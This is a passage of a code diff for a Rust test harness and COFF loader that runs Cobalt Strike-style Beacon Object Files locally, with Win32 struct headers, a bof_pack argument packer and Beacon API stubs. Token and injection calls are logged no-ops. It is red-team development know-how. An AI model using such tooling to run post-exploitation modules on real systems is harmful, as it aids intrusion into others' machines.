unsigned int dwXCountChars;
|
||||
unsigned int dwYCountChars;
|
||||
unsigned int dwFillAttribute;
|
||||
void* dwFlags;
|
||||
unsigned short wShowWindow;
|
||||
unsigned short cbReserved2;
|
||||
void* lpReserved2;
|
||||
void* hStdInput;
|
||||
void* hStdOutput;
|
||||
void* hStdError;
|
||||
} STARTUPINFOA;
|
||||
|
||||
typedef struct _UMS_SCHEDULER_STARTUP_INFO {
|
||||
unsigned int UmsVersion;
|
||||
void* CompletionList;
|
||||
void* SchedulerProc;
|
||||
void* SchedulerParam;
|
||||
} UMS_SCHEDULER_STARTUP_INFO;
|
||||
|
||||
typedef struct _MEMORY_PRIORITY_INFORMATION {
|
||||
void* MemoryPriority;
|
||||
} MEMORY_PRIORITY_INFORMATION;
|
||||
|
||||
typedef struct _AVRT_TASK_HANDLE {
|
||||
void* Value;
|
||||
} AVRT_TASK_HANDLE;
|
||||
|
||||
typedef struct _UMS_SYSTEM_THREAD_INFORMATION {
|
||||
unsigned int UmsVersion;
|
||||
void* Anonymous;
|
||||
} UMS_SYSTEM_THREAD_INFORMATION;
|
||||
|
||||
typedef struct _PTP_WAIT {
|
||||
long long Value;
|
||||
} PTP_WAIT;
|
||||
|
||||
typedef struct _TP_CALLBACK_ENVIRON_V3 {
|
||||
unsigned int Version;
|
||||
void* Pool;
|
||||
void* CleanupGroup;
|
||||
void* CleanupGroupCancelCallback;
|
||||
void* RaceDll;
|
||||
long long ActivationContext;
|
||||
void* FinalizationCallback;
|
||||
void* u;
|
||||
void* CallbackPriority;
|
||||
unsigned int Size;
|
||||
} TP_CALLBACK_ENVIRON_V3;
|
||||
|
||||
typedef struct _STARTUPINFOEXA {
|
||||
void* StartupInfo;
|
||||
void* lpAttributeList;
|
||||
} STARTUPINFOEXA;
|
||||
|
||||
typedef struct _PROCESS_MACHINE_INFORMATION {
|
||||
void* ProcessMachine;
|
||||
unsigned short Res0;
|
||||
void* MachineAttributes;
|
||||
} PROCESS_MACHINE_INFORMATION;
|
||||
|
||||
typedef struct _THREAD_POWER_THROTTLING_STATE {
|
||||
unsigned int Version;
|
||||
unsigned int ControlMask;
|
||||
unsigned int StateMask;
|
||||
} THREAD_POWER_THROTTLING_STATE;
|
||||
|
||||
typedef struct _CRITICAL_SECTION {
|
||||
void* DebugInfo;
|
||||
int LockCount;
|
||||
int RecursionCount;
|
||||
void* OwningThread;
|
||||
void* LockSemaphore;
|
||||
unsigned long long SpinCount;
|
||||
} CRITICAL_SECTION;
|
||||
|
||||
typedef struct _SYNCHRONIZATION_BARRIER {
|
||||
unsigned int Reserved1;
|
||||
unsigned int Reserved2;
|
||||
unsigned long long Reserved3[2];
|
||||
unsigned int Reserved4;
|
||||
unsigned int Reserved5;
|
||||
} SYNCHRONIZATION_BARRIER;
|
||||
|
||||
typedef struct _SRWLOCK {
|
||||
void* Ptr;
|
||||
} SRWLOCK;
|
||||
|
||||
typedef struct _PEB_LDR_DATA {
|
||||
unsigned char Reserved1[8];
|
||||
void* Reserved2[3];
|
||||
void* InMemoryOrderModuleList;
|
||||
} PEB_LDR_DATA;
|
||||
|
||||
typedef struct _STARTUPINFOEXW {
|
||||
void* StartupInfo;
|
||||
void* lpAttributeList;
|
||||
} STARTUPINFOEXW;
|
||||
|
||||
typedef struct _PEB {
|
||||
unsigned char Reserved1[2];
|
||||
unsigned char BeingDebugged;
|
||||
unsigned char Reserved2[1];
|
||||
void* Reserved3[2];
|
||||
void* Ldr;
|
||||
void* ProcessParameters;
|
||||
void* Reserved4[3];
|
||||
void* AtlThunkSListPtr;
|
||||
void* Reserved5;
|
||||
unsigned int Reserved6;
|
||||
void* Reserved7;
|
||||
unsigned int Reserved8;
|
||||
unsigned int AtlThunkSListPtr32;
|
||||
void* Reserved9[45];
|
||||
unsigned char Reserved10[96];
|
||||
void* PostProcessInitRoutine;
|
||||
unsigned char Reserved11[128];
|
||||
void* Reserved12[1];
|
||||
unsigned int SessionId;
|
||||
} PEB;
|
||||
|
||||
typedef struct _CONDITION_VARIABLE {
|
||||
void* Ptr;
|
||||
} CONDITION_VARIABLE;
|
||||
|
||||
typedef struct _PTP_POOL {
|
||||
long long Value;
|
||||
} PTP_POOL;
|
||||
|
||||
typedef struct _PTP_TIMER {
|
||||
long long Value;
|
||||
} PTP_TIMER;
|
||||
|
||||
typedef struct _TEB {
|
||||
void* Reserved1[12];
|
||||
void* ProcessEnvironmentBlock;
|
||||
void* Reserved2[399];
|
||||
unsigned char Reserved3[1952];
|
||||
void* TlsSlots[64];
|
||||
unsigned char Reserved4[8];
|
||||
void* Reserved5[26];
|
||||
void* ReservedForOle;
|
||||
void* Reserved6[4];
|
||||
void* TlsExpansionSlots;
|
||||
} TEB;
|
||||
|
||||
typedef struct _AVRT_THREAD_ORDERING_GROUP_HANDLE {
|
||||
void* Value;
|
||||
} AVRT_THREAD_ORDERING_GROUP_HANDLE;
|
||||
|
||||
typedef struct _PTP_IO {
|
||||
long long Value;
|
||||
} PTP_IO;
|
||||
|
||||
typedef struct _OVERRIDE_PREFETCH_PARAMETER {
|
||||
unsigned int Value;
|
||||
} OVERRIDE_PREFETCH_PARAMETER;
|
||||
|
||||
typedef struct _TP_POOL_STACK_INFORMATION {
|
||||
unsigned long long StackReserve;
|
||||
unsigned long long StackCommit;
|
||||
} TP_POOL_STACK_INFORMATION;
|
||||
|
||||
typedef struct _PROCESS_DYNAMIC_EH_CONTINUATION_TARGET {
|
||||
unsigned long long TargetAddress;
|
||||
unsigned long long Flags;
|
||||
} PROCESS_DYNAMIC_EH_CONTINUATION_TARGET;
|
||||
|
||||
@@ -0,0 +1,61 @@
|
||||
// Generated by entc-win32gen from `Windows.Win32.System.Diagnostics.ToolHelp`.
|
||||
// Do not edit by hand. Re-run the generator to refresh.
|
||||
|
||||
#define TH32CS_SNAPHEAPLIST 0x1
|
||||
#define TH32CS_SNAPPROCESS 0x2
|
||||
#define TH32CS_SNAPTHREAD 0x4
|
||||
#define TH32CS_SNAPMODULE 0x8
|
||||
#define TH32CS_SNAPMODULE32 0x10
|
||||
#define TH32CS_SNAPALL 0xF
|
||||
#define TH32CS_INHERIT 0x80000000
|
||||
|
||||
#define MAX_MODULE_NAME32 255
|
||||
|
||||
typedef struct tagPROCESSENTRY32 {
|
||||
unsigned int dwSize;
|
||||
unsigned int cntUsage;
|
||||
unsigned int th32ProcessID;
|
||||
void* th32DefaultHeapID;
|
||||
unsigned int th32ModuleID;
|
||||
unsigned int cntThreads;
|
||||
unsigned int th32ParentProcessID;
|
||||
int pcPriClassBase;
|
||||
unsigned int dwFlags;
|
||||
unsigned char szExeFile[260];
|
||||
} PROCESSENTRY32;
|
||||
|
||||
typedef struct tagMODULEENTRY32 {
|
||||
unsigned int dwSize;
|
||||
unsigned int th32ModuleID;
|
||||
unsigned int th32ProcessID;
|
||||
unsigned int GlblcntUsage;
|
||||
unsigned int ProccntUsage;
|
||||
void* modBaseAddr;
|
||||
unsigned int modBaseSize;
|
||||
void* hModule;
|
||||
unsigned char szModule[256];
|
||||
unsigned char szExePath[260];
|
||||
} MODULEENTRY32;
|
||||
|
||||
typedef struct tagTHREADENTRY32 {
|
||||
unsigned int dwSize;
|
||||
unsigned int cntUsage;
|
||||
unsigned int th32ThreadID;
|
||||
unsigned int th32OwnerProcessID;
|
||||
int tpBasePri;
|
||||
int tpDeltaPri;
|
||||
unsigned int dwFlags;
|
||||
} THREADENTRY32;
|
||||
|
||||
typedef struct tagHEAPENTRY32 {
|
||||
void* dwSize;
|
||||
void* hHandle;
|
||||
void* dwAddress;
|
||||
void* dwBlockSize;
|
||||
unsigned int dwFlags;
|
||||
unsigned int dwLockCount;
|
||||
unsigned int dwResvd;
|
||||
unsigned int th32ProcessID;
|
||||
void* th32HeapID;
|
||||
} HEAPENTRY32;
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,16 @@
|
||||
[package]
|
||||
name = "bof-loader"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
description = "In-process COFF loader for EntropyKit BOFs. Parses .obj, maps sections, resolves __imp_* slots (Beacon stubs + Win32 imports), applies REL32 / ADDR64 relocations. Shared by `bof-runner` (CLI harness) and `entc-debug` (VS Code DAP server)."
|
||||
|
||||
[lib]
|
||||
name = "bof_loader"
|
||||
path = "src/lib.rs"
|
||||
|
||||
[target.'cfg(windows)'.dependencies]
|
||||
windows-sys = { version = "0.59", features = [
|
||||
"Win32_Foundation",
|
||||
"Win32_System_Memory",
|
||||
"Win32_System_LibraryLoader",
|
||||
] }
|
||||
@@ -0,0 +1,78 @@
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
//! Cobalt Strike `bof_pack`-format argument packer.
|
||||
//!
|
||||
//! Walks a list of CLI-style flag tokens and emits the equivalent
|
||||
//! byte sequence the BOF will see in its `args` buffer. The flag
|
||||
//! vocabulary matches the `bof-runner` CLI:
|
||||
//!
|
||||
//! --args RAW raw bytes, no length prefix. For BOFs that
|
||||
//! treat `args` as a C string.
|
||||
//! --zarg STR `bof_pack "z"` - `[u32 length LE][bytes][NUL]`.
|
||||
//! --iarg N `bof_pack "i"` - `[u32 BE]` (network byte order).
|
||||
//! --sarg N `bof_pack "s"` - `[u16 BE]`.
|
||||
//! --barg @FILE `bof_pack "b"` - `[u32 length LE][bytes]`.
|
||||
//!
|
||||
//! Order on the input list determines order in the output buffer -
|
||||
//! the BOF reads with `BeaconDataExtract` / `BeaconDataInt` etc. in
|
||||
//! matching order. Mixing typed flags with `--args` is supported but
|
||||
//! rare; `--args`'s raw bytes go first.
|
||||
|
||||
pub fn parse_packed_args(args: &[String]) -> Result<Vec<u8>, String> {
|
||||
let mut out: Vec<u8> = Vec::new();
|
||||
let mut i = 0;
|
||||
while i < args.len() {
|
||||
let flag = args[i].as_str();
|
||||
let take_value = || -> Result<&str, String> {
|
||||
args.get(i + 1).map(|s| s.as_str())
|
||||
.ok_or_else(|| format!("`{flag}` requires a value"))
|
||||
};
|
||||
match flag {
|
||||
"--args" => {
|
||||
// Raw bytes - appended as-is, NO length prefix. A BOF
|
||||
// reading this with BeaconDataExtract won't find the
|
||||
// expected `[u32 len][bytes]` shape - `--args` is the
|
||||
// "treat args buffer as a C string" path.
|
||||
let v = take_value()?;
|
||||
out.extend_from_slice(v.as_bytes());
|
||||
i += 2;
|
||||
}
|
||||
"--zarg" => {
|
||||
let v = take_value()?;
|
||||
let bytes = v.as_bytes();
|
||||
let length = (bytes.len() + 1) as u32;
|
||||
out.extend_from_slice(&length.to_le_bytes());
|
||||
out.extend_from_slice(bytes);
|
||||
out.push(0);
|
||||
i += 2;
|
||||
}
|
||||
"--iarg" => {
|
||||
let v = take_value()?;
|
||||
let n: i32 = v.parse()
|
||||
.map_err(|e| format!("--iarg `{v}`: {e}"))?;
|
||||
out.extend_from_slice(&n.to_be_bytes());
|
||||
i += 2;
|
||||
}
|
||||
"--sarg" => {
|
||||
let v = take_value()?;
|
||||
let n: i16 = v.parse()
|
||||
.map_err(|e| format!("--sarg `{v}`: {e}"))?;
|
||||
out.extend_from_slice(&n.to_be_bytes());
|
||||
i += 2;
|
||||
}
|
||||
"--barg" => {
|
||||
let v = take_value()?;
|
||||
let Some(path) = v.strip_prefix('@') else {
|
||||
return Err(format!("--barg expects `@path` (got `{v}`)"));
|
||||
};
|
||||
let bytes = std::fs::read(path)
|
||||
.map_err(|e| format!("--barg {path}: {e}"))?;
|
||||
let length = bytes.len() as u32;
|
||||
out.extend_from_slice(&length.to_le_bytes());
|
||||
out.extend_from_slice(&bytes);
|
||||
i += 2;
|
||||
}
|
||||
other => return Err(format!("unknown flag: `{other}`")),
|
||||
}
|
||||
}
|
||||
Ok(out)
|
||||
}
|
||||
@@ -0,0 +1,671 @@
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
//! beacon.rs - in-harness implementations of the Beacon API.
|
||||
//!
|
||||
//! Every function declared in [stdlib/bof.etpy](../../stdlib/bof.etpy)
|
||||
//! has a stub here so a BOF that calls it can run end-to-end through
|
||||
//! `bof-runner` instead of bombing on "unresolved external."
|
||||
//!
|
||||
//! Stubs aim for **behavioural fidelity** with real Beacon where
|
||||
//! cheap, and **clear instrumentation** where the real semantics are
|
||||
//! impractical to replicate locally (process injection, syscall
|
||||
//! gates, etc.). Each stub category documents which side it leans
|
||||
//! toward.
|
||||
//!
|
||||
//! Calling convention: every exported stub is `unsafe extern "system"`
|
||||
//! so the BOF can call it through `__imp_<Name>` with no thunking on
|
||||
//! Win64 (rcx/rdx/r8/r9, 32-byte shadow). Pointers are raw - BOF code
|
||||
//! is trusted in the harness.
|
||||
//!
|
||||
//! Concurrency: the harness runs `go` synchronously on the main
|
||||
//! thread; no cross-thread state. The `BeaconAddValue` KV store and
|
||||
//! the `BeaconGate` state use a `Mutex` for safety in case a future
|
||||
//! version of the harness adds threading.
|
||||
|
||||
// The library root gates this module on `cfg(windows)` already;
|
||||
// the inner attribute is unnecessary here.
|
||||
#![allow(non_snake_case, clippy::missing_safety_doc)]
|
||||
|
||||
use std::collections::HashMap;
|
||||
use std::io::Write;
|
||||
use std::sync::Mutex;
|
||||
|
||||
// ============================================================================
|
||||
// Shared state. Process-global to mirror "Beacon owns the heap" -
|
||||
// state survives across BOF calls within one harness invocation.
|
||||
// ============================================================================
|
||||
|
||||
/// `BeaconAddValue` / `GetValue` / `RemoveValue` storage. Keys are
|
||||
/// owned `String`s (BOFs hand us a `char*` we copy on insert); values
|
||||
/// are raw `usize` (the BOF's choice of payload - pointer, integer,
|
||||
/// whatever). Lookups return 0 (null) for misses.
|
||||
static KV: Mutex<Option<HashMap<String, usize>>> = Mutex::new(None);
|
||||
|
||||
fn kv_with<R>(f: impl FnOnce(&mut HashMap<String, usize>) -> R) -> R {
|
||||
let mut guard = KV.lock().unwrap();
|
||||
if guard.is_none() { *guard = Some(HashMap::new()); }
|
||||
f(guard.as_mut().unwrap())
|
||||
}
|
||||
|
||||
unsafe fn cstr_to_string(p: *const u8) -> Option<String> {
|
||||
if p.is_null() { return None; }
|
||||
let mut n = 0usize;
|
||||
while *p.add(n) != 0 && n < 4096 { n += 1; }
|
||||
let bytes = std::slice::from_raw_parts(p, n);
|
||||
Some(String::from_utf8_lossy(bytes).into_owned())
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Output: BeaconPrintf, BeaconOutput.
|
||||
//
|
||||
// Real Beacon ships output back to the operator's console. Locally
|
||||
// we route output through an installable hook so:
|
||||
//
|
||||
// * Standalone `bof-runner` to default sink writes `[BOF] <text>`
|
||||
// to stdout. Identical to the original behaviour.
|
||||
//
|
||||
// * `entc-debug` (DAP mode) to installs a custom hook that emits
|
||||
// DAP `output` events to VS Code's Debug Console. Without this
|
||||
// route, the BOF's `print!` writes would corrupt the DAP wire
|
||||
// protocol (entc-debug's stdout IS the DAP channel).
|
||||
//
|
||||
// `set_output_hook` / `clear_output_hook` are the public hook
|
||||
// API. The hook is held in a Mutex so callers from the BOF thread
|
||||
// don't race with the DAP server thread installing/replacing it.
|
||||
//
|
||||
// EntropyKit source can't pass varargs today (you'd use `str.format`
|
||||
// to build the final string first), so the stub treats `fmt` as a
|
||||
// pre-formatted literal and emits it raw.
|
||||
// ============================================================================
|
||||
|
||||
/// Output category for the hook callback. `Printf` is the `[BOF]`
|
||||
/// stream; `Output` is the `[BOF output]` stream (real Beacon sends
|
||||
/// these to different operator channels - log vs. data).
|
||||
#[derive(Debug, Clone, Copy)]
|
||||
pub enum OutputCategory { Printf, Output }
|
||||
|
||||
type OutputHook = Box<dyn Fn(OutputCategory, &str) + Send + Sync>;
|
||||
|
||||
/// One installable global output hook. When `None`, BeaconPrintf /
|
||||
/// BeaconOutput fall back to stdout writes (bof-runner default).
|
||||
/// When `Some`, every output flows through the closure instead -
|
||||
/// entc-debug installs one that fans out to DAP events.
|
||||
static OUTPUT_HOOK: Mutex<Option<OutputHook>> = Mutex::new(None);
|
||||
|
||||
/// Install a custom output hook. The closure receives a category
|
||||
/// and a `&str` for every BeaconPrintf / BeaconOutput call. Pass
|
||||
/// `None` to revert to stdout default.
|
||||
///
|
||||
/// Thread-safety: the BOF thread (which calls BeaconPrintf) and
|
||||
/// the DAP server thread (which installs the hook) hit the same
|
||||
/// Mutex; contention is minimal because the hook is set once at
|
||||
/// launch and never replaced mid-session.
|
||||
pub fn set_output_hook<F>(f: F)
|
||||
where F: Fn(OutputCategory, &str) + Send + Sync + 'static
|
||||
{
|
||||
*OUTPUT_HOOK.lock().unwrap() = Some(Box::new(f));
|
||||
}
|
||||
|
||||
/// Remove the hook. After this, BeaconPrintf / BeaconOutput resume
|
||||
/// writing to stdout. `bof-runner` doesn't bother (the harness
|
||||
/// exits after one run); `entc-debug` calls this on session
|
||||
/// teardown so a subsequent session doesn't see stale state.
|
||||
#[allow(dead_code)]
|
||||
pub fn clear_output_hook() {
|
||||
*OUTPUT_HOOK.lock().unwrap() = None;
|
||||
}
|
||||
|
||||
/// Emit one chunk through the active hook (or the default stdout
|
||||
/// sink). Called from both Beacon API stubs and exposed to the
|
||||
/// harness so test infrastructure can route diagnostic output
|
||||
/// through the same pipe.
|
||||
fn emit_output(cat: OutputCategory, text: &str) {
|
||||
if let Some(ref hook) = *OUTPUT_HOOK.lock().unwrap() {
|
||||
hook(cat, text);
|
||||
return;
|
||||
}
|
||||
// Default sink - what bof-runner shows.
|
||||
match cat {
|
||||
OutputCategory::Printf => {
|
||||
print!("[BOF] {text}");
|
||||
let _ = std::io::stdout().flush();
|
||||
}
|
||||
OutputCategory::Output => {
|
||||
println!("[BOF output] {text}");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub unsafe extern "system" fn BeaconPrintf(_kind: i32, fmt: *const u8) {
|
||||
if fmt.is_null() { return; }
|
||||
let mut n = 0usize;
|
||||
while *fmt.add(n) != 0 && n < 64 * 1024 { n += 1; }
|
||||
let bytes = std::slice::from_raw_parts(fmt, n);
|
||||
let s = String::from_utf8_lossy(bytes);
|
||||
emit_output(OutputCategory::Printf, &s);
|
||||
}
|
||||
|
||||
pub unsafe extern "system" fn BeaconOutput(_kind: i32, data: *const u8, len: i32) {
|
||||
if data.is_null() || len <= 0 { return; }
|
||||
let slice = std::slice::from_raw_parts(data, len as usize);
|
||||
let s = String::from_utf8_lossy(slice);
|
||||
emit_output(OutputCategory::Output, &s);
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Data parsing: BeaconDataParse / Int / Short / Length / Extract.
|
||||
//
|
||||
// The C struct (and our `datap` in stdlib/bof.etpy):
|
||||
// { char* original; char* buffer; int length; int size; }
|
||||
// 24 bytes on x64. We index by raw byte offsets so the layout stays
|
||||
// in sync with the source-level declaration without a Rust mirror.
|
||||
//
|
||||
// Format match: Aggressor's `bof_pack` packs variable-length items
|
||||
// as `[u32 length LE][bytes]`, scalars (`i`, `s`) as BIG-endian.
|
||||
// Real Beacon does `ntohl()` on the int read, so our stub does too.
|
||||
// The harness CLI's `--zarg`/`--iarg`/`--sarg` flags pack on the
|
||||
// same shape so end-to-end tests pass through symmetrically.
|
||||
// ============================================================================
|
||||
|
||||
const OFF_ORIGINAL: usize = 0;
|
||||
const OFF_BUFFER: usize = 8;
|
||||
const OFF_LENGTH: usize = 16;
|
||||
const OFF_SIZE: usize = 20;
|
||||
|
||||
unsafe fn dp_buffer(p: *mut u8) -> *mut u8 {
|
||||
*(p.add(OFF_BUFFER) as *mut *mut u8)
|
||||
}
|
||||
unsafe fn dp_set_buffer(p: *mut u8, v: *mut u8) {
|
||||
*(p.add(OFF_BUFFER) as *mut *mut u8) = v;
|
||||
}
|
||||
unsafe fn dp_length(p: *mut u8) -> i32 { *(p.add(OFF_LENGTH) as *mut i32) }
|
||||
unsafe fn dp_set_length(p: *mut u8, v: i32) { *(p.add(OFF_LENGTH) as *mut i32) = v; }
|
||||
|
||||
pub unsafe extern "system" fn BeaconDataParse(parser: *mut u8, buffer: *mut u8, size: i32) {
|
||||
if parser.is_null() { return; }
|
||||
*(parser.add(OFF_ORIGINAL) as *mut *mut u8) = buffer;
|
||||
*(parser.add(OFF_BUFFER) as *mut *mut u8) = buffer;
|
||||
*(parser.add(OFF_LENGTH) as *mut i32) = size;
|
||||
*(parser.add(OFF_SIZE) as *mut i32) = size;
|
||||
}
|
||||
|
||||
pub unsafe extern "system" fn BeaconDataInt(parser: *mut u8) -> i32 {
|
||||
if parser.is_null() { return 0; }
|
||||
let len = dp_length(parser);
|
||||
if len < 4 { return 0; }
|
||||
let buf = dp_buffer(parser);
|
||||
let mut bytes = [0u8; 4];
|
||||
std::ptr::copy_nonoverlapping(buf, bytes.as_mut_ptr(), 4);
|
||||
dp_set_buffer(parser, buf.add(4));
|
||||
dp_set_length(parser, len - 4);
|
||||
// Beacon uses network byte order for ints - matches `bof_pack "i"`.
|
||||
i32::from_be_bytes(bytes)
|
||||
}
|
||||
|
||||
pub unsafe extern "system" fn BeaconDataShort(parser: *mut u8) -> i16 {
|
||||
if parser.is_null() { return 0; }
|
||||
let len = dp_length(parser);
|
||||
if len < 2 { return 0; }
|
||||
let buf = dp_buffer(parser);
|
||||
let mut bytes = [0u8; 2];
|
||||
std::ptr::copy_nonoverlapping(buf, bytes.as_mut_ptr(), 2);
|
||||
dp_set_buffer(parser, buf.add(2));
|
||||
dp_set_length(parser, len - 2);
|
||||
i16::from_be_bytes(bytes)
|
||||
}
|
||||
|
||||
pub unsafe extern "system" fn BeaconDataLength(parser: *mut u8) -> i32 {
|
||||
if parser.is_null() { return 0; }
|
||||
dp_length(parser)
|
||||
}
|
||||
|
||||
pub unsafe extern "system" fn BeaconDataExtract(parser: *mut u8, size: *mut i32) -> *mut u8 {
|
||||
// Variable-length item: `[u32 length LE][bytes of that length]`.
|
||||
// The returned pointer is INTO the original args buffer - caller
|
||||
// does not free.
|
||||
if parser.is_null() { return std::ptr::null_mut(); }
|
||||
let len = dp_length(parser);
|
||||
if len < 4 { return std::ptr::null_mut(); }
|
||||
let buf = dp_buffer(parser);
|
||||
let mut hdr = [0u8; 4];
|
||||
std::ptr::copy_nonoverlapping(buf, hdr.as_mut_ptr(), 4);
|
||||
let item_len = u32::from_le_bytes(hdr) as i32;
|
||||
if len - 4 < item_len {
|
||||
return std::ptr::null_mut();
|
||||
}
|
||||
let item_start = buf.add(4);
|
||||
dp_set_buffer(parser, item_start.add(item_len as usize));
|
||||
dp_set_length(parser, len - 4 - item_len);
|
||||
if !size.is_null() { *size = item_len; }
|
||||
item_start
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Format API: BeaconFormat* - build a buffer in chunks, emit at once.
|
||||
//
|
||||
// Each `formatp` owns a heap-allocated `Vec<u8>` indirected through
|
||||
// the struct's `original` pointer. `Alloc` puts the Vec on the heap
|
||||
// and stashes the pointer + length; `Free` releases it. We track the
|
||||
// allocations through `FORMAT_BUFS` so we can deallocate properly
|
||||
// even if a BOF leaks its `formatp` (real Beacon would just let the
|
||||
// process exit reclaim it).
|
||||
// ============================================================================
|
||||
|
||||
const FP_OFF_ORIGINAL: usize = 0;
|
||||
const FP_OFF_BUFFER: usize = 8;
|
||||
const FP_OFF_LENGTH: usize = 16;
|
||||
const FP_OFF_SIZE: usize = 20;
|
||||
|
||||
static FORMAT_BUFS: Mutex<Option<HashMap<usize, (usize, usize)>>> = Mutex::new(None);
|
||||
// Maps formatp-pointer to (original_ptr_as_usize, capacity). Used so
|
||||
// `BeaconFormatFree` can convert the original pointer back into a
|
||||
// `Vec<u8>` for deallocation without leaking.
|
||||
|
||||
fn track_format_alloc(fp: usize, original: usize, capacity: usize) {
|
||||
let mut g = FORMAT_BUFS.lock().unwrap();
|
||||
if g.is_none() { *g = Some(HashMap::new()); }
|
||||
g.as_mut().unwrap().insert(fp, (original, capacity));
|
||||
}
|
||||
fn forget_format_alloc(fp: usize) -> Option<(usize, usize)> {
|
||||
let mut g = FORMAT_BUFS.lock().unwrap();
|
||||
g.as_mut().and_then(|m| m.remove(&fp))
|
||||
}
|
||||
|
||||
pub unsafe extern "system" fn BeaconFormatAlloc(format: *mut u8, maxsz: i32) {
|
||||
if format.is_null() || maxsz <= 0 { return; }
|
||||
let cap = maxsz as usize;
|
||||
let mut v: Vec<u8> = Vec::with_capacity(cap);
|
||||
let p = v.as_mut_ptr();
|
||||
std::mem::forget(v); // keep the allocation alive; FORMAT_BUFS owns it
|
||||
*(format.add(FP_OFF_ORIGINAL) as *mut *mut u8) = p;
|
||||
*(format.add(FP_OFF_BUFFER) as *mut *mut u8) = p;
|
||||
*(format.add(FP_OFF_LENGTH) as *mut i32) = 0;
|
||||
*(format.add(FP_OFF_SIZE) as *mut i32) = maxsz;
|
||||
track_format_alloc(format as usize, p as usize, cap);
|
||||
}
|
||||
|
||||
pub unsafe extern "system" fn BeaconFormatReset(format: *mut u8) {
|
||||
if format.is_null() { return; }
|
||||
let original = *(format.add(FP_OFF_ORIGINAL) as *mut *mut u8);
|
||||
*(format.add(FP_OFF_BUFFER) as *mut *mut u8) = original;
|
||||
*(format.add(FP_OFF_LENGTH) as *mut i32) = 0;
|
||||
}
|
||||
|
||||
pub unsafe extern "system" fn BeaconFormatFree(format: *mut u8) {
|
||||
if format.is_null() { return; }
|
||||
if let Some((ptr, cap)) = forget_format_alloc(format as usize) {
|
||||
// Reconstruct + drop the Vec to actually deallocate.
|
||||
let _v: Vec<u8> = Vec::from_raw_parts(ptr as *mut u8, 0, cap);
|
||||
}
|
||||
*(format.add(FP_OFF_ORIGINAL) as *mut *mut u8) = std::ptr::null_mut();
|
||||
*(format.add(FP_OFF_BUFFER) as *mut *mut u8) = std::ptr::null_mut();
|
||||
*(format.add(FP_OFF_LENGTH) as *mut i32) = 0;
|
||||
*(format.add(FP_OFF_SIZE) as *mut i32) = 0;
|
||||
}
|
||||
|
||||
unsafe fn format_append_bytes(format: *mut u8, data: *const u8, n: usize) {
|
||||
if format.is_null() || data.is_null() || n == 0 { return; }
|
||||
let cur = *(format.add(FP_OFF_BUFFER) as *mut *mut u8);
|
||||
let len = *(format.add(FP_OFF_LENGTH) as *mut i32) as usize;
|
||||
let cap = *(format.add(FP_OFF_SIZE) as *mut i32) as usize;
|
||||
let writable = cap.saturating_sub(len);
|
||||
let to_copy = n.min(writable);
|
||||
if to_copy > 0 {
|
||||
std::ptr::copy_nonoverlapping(data, cur, to_copy);
|
||||
*(format.add(FP_OFF_BUFFER) as *mut *mut u8) = cur.add(to_copy);
|
||||
*(format.add(FP_OFF_LENGTH) as *mut i32) = (len + to_copy) as i32;
|
||||
}
|
||||
}
|
||||
|
||||
pub unsafe extern "system" fn BeaconFormatAppend(format: *mut u8, text: *const u8, len: i32) {
|
||||
if len <= 0 { return; }
|
||||
format_append_bytes(format, text, len as usize);
|
||||
}
|
||||
|
||||
pub unsafe extern "system" fn BeaconFormatPrintf(format: *mut u8, fmt: *const u8) {
|
||||
// EntropyKit source-level varargs don't exist; the BOF passes a
|
||||
// pre-formatted string. Treat `fmt` as a literal C string and
|
||||
// append its bytes (no NUL).
|
||||
if fmt.is_null() { return; }
|
||||
let mut n = 0usize;
|
||||
while *fmt.add(n) != 0 && n < 64 * 1024 { n += 1; }
|
||||
format_append_bytes(format, fmt, n);
|
||||
}
|
||||
|
||||
pub unsafe extern "system" fn BeaconFormatToString(format: *mut u8, size: *mut i32) -> *mut u8 {
|
||||
if format.is_null() { return std::ptr::null_mut(); }
|
||||
let original = *(format.add(FP_OFF_ORIGINAL) as *mut *mut u8);
|
||||
let len = *(format.add(FP_OFF_LENGTH) as *mut i32);
|
||||
if !size.is_null() { *size = len; }
|
||||
original
|
||||
}
|
||||
|
||||
pub unsafe extern "system" fn BeaconFormatInt(format: *mut u8, value: i32) {
|
||||
// Big-endian to match Beacon's wire convention (`BeaconDataInt`
|
||||
// does `ntohl`). Lets a BOF round-trip an int through Format /
|
||||
// Data with no byte-order surprise.
|
||||
let bytes = value.to_be_bytes();
|
||||
format_append_bytes(format, bytes.as_ptr(), 4);
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Token: BeaconUseToken, BeaconRevertToken, BeaconIsAdmin.
|
||||
//
|
||||
// Real Beacon swaps the thread's token via `SetThreadToken`. The
|
||||
// harness just tracks "did the BOF ask to use a token?" so tests
|
||||
// can assert on it; no actual impersonation happens locally.
|
||||
// ============================================================================
|
||||
|
||||
static CURRENT_TOKEN: Mutex<usize> = Mutex::new(0);
|
||||
|
||||
pub unsafe extern "system" fn BeaconUseToken(token: *mut u8) -> i32 {
|
||||
*CURRENT_TOKEN.lock().unwrap() = token as usize;
|
||||
eprintln!("[stub] BeaconUseToken(0x{:x})", token as usize);
|
||||
1 // success
|
||||
}
|
||||
|
||||
pub unsafe extern "system" fn BeaconRevertToken() {
|
||||
*CURRENT_TOKEN.lock().unwrap() = 0;
|
||||
eprintln!("[stub] BeaconRevertToken()");
|
||||
}
|
||||
|
||||
pub unsafe extern "system" fn BeaconIsAdmin() -> i32 {
|
||||
eprintln!("[stub] BeaconIsAdmin() -> false");
|
||||
0 // not admin in the harness; flip to 1 to simulate elevated runs
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Spawn / inject - log + no-op. Replicating real injection in a test
|
||||
// harness is both pointless and dangerous; the operator gets clear
|
||||
// stderr output describing what their BOF would have done.
|
||||
// ============================================================================
|
||||
|
||||
pub unsafe extern "system" fn BeaconGetSpawnTo(x86: i32, buffer: *mut u8, length: i32) {
|
||||
let default = if x86 != 0 {
|
||||
b"%windir%\\syswow64\\rundll32.exe\0".as_ref()
|
||||
} else {
|
||||
